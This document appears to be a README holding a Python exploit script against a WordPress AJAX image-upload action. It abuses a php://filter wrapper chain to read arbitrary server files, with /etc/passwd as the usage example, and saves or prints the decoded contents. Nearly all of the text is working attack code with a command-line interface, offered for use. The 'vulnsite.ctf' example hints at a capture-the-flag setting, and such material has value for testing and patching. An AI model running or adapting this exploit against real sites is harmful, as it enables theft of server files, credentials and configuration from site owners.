README.md
Rendering markdown...
import sys
import requests
import base64
import urllib.parse
def leak(url, path, out_file=None):
data = {
"action": "upload_image_from_url",
"url": urllib.parse.quote(f"php://filter/convert.base64-encode/convert.iconv.utf-16be.utf-32be/resource={path}"),
"id": 1,
"accepted_files": ",image/vnd.wap.wbmp",
}
response = requests.post(f"{url}/wp-admin/admin-ajax.php", data=data, verify=False)
response = response.json()
if response["status"] != "OK":
print(f'Got error {response["response"]}')
print("Maybe the file does not exist?")
else:
data = base64.b64decode(requests.get(response["response"]).content.replace(b"\0", b""))
if out_file is not None:
with open(out_file, 'wb') as f:
f.write(data)
else:
print(data.decode())
if __name__ == "__main__":
if len(sys.argv) not in [3, 4]:
print(f"Usage: {sys.argv[0]} URL FILE_TO_LEAK [OUT_FILE]")
print(f" Example: {sys.argv[0]} http://vulnsite.ctf:80/wp/ /etc/passwd")
else:
leak(sys.argv[1], sys.argv[2], sys.argv[3] if len(sys.argv) == 4 else None)